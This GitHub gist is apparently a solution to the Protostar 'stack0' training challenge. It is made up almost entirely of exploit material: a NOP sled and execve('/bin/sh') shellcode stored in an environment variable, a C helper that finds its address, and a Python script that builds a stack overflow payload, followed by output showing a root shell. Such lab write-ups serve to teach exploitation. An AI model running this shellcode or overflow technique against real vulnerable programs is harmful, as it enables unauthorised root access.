Skip to content

Instantly share code, notes, and snippets.

@plvhx
Last active December 22, 2016 12:54
Show Gist options
  • Save plvhx/f8691e0b0510788f68614b2eda0fede2 to your computer and use it in GitHub Desktop.
Save plvhx/f8691e0b0510788f68614b2eda0fede2 to your computer and use it in GitHub Desktop.
protostar stack0 exploit

Place shellcode in environment variable

$ export PAYLOAD=$(python -c 'import sys;sys.stdout.write("\x90"*(100) + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80")')

Find addr of 'PAYLOAD' environment variable

#include <stdio.h>
#include <stdlib.h>

int main(void) {
  printf("PAYLOAD: %#08x\n", (unsigned int)getenv("PAYLOAD"));
  
  return ( 0 );
}

pwn.py ( or u have simplest way... )

#! /usr/bin/python -W ignore::DeprecationWarning

import sys
import struct
from subprocess import call

if sys.byteorder == 'little':
  Q = lambda x: struct.pack("<I", x)
elif sys.byteorder == 'big':
  Q = lambda x: struct.pack(">I", x)
  
payload = "\x41"*(0x40) + Q(0xdeadbeef) + "\x41"*(0x10) + Q(<addr of 'PAYLOAD' env var>)

open("/tmp/pl", "w").write(payload)

call(["./stack0"], stdin=open("/tmp/pl", "r"))

Wrapping it up..

$ python pwn.py
you have changed the 'modified' variable
python -c 'import pty;pty.spawn("/bin/sh")'
# whoami
root
# echo -e "And there u have it.. :)"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment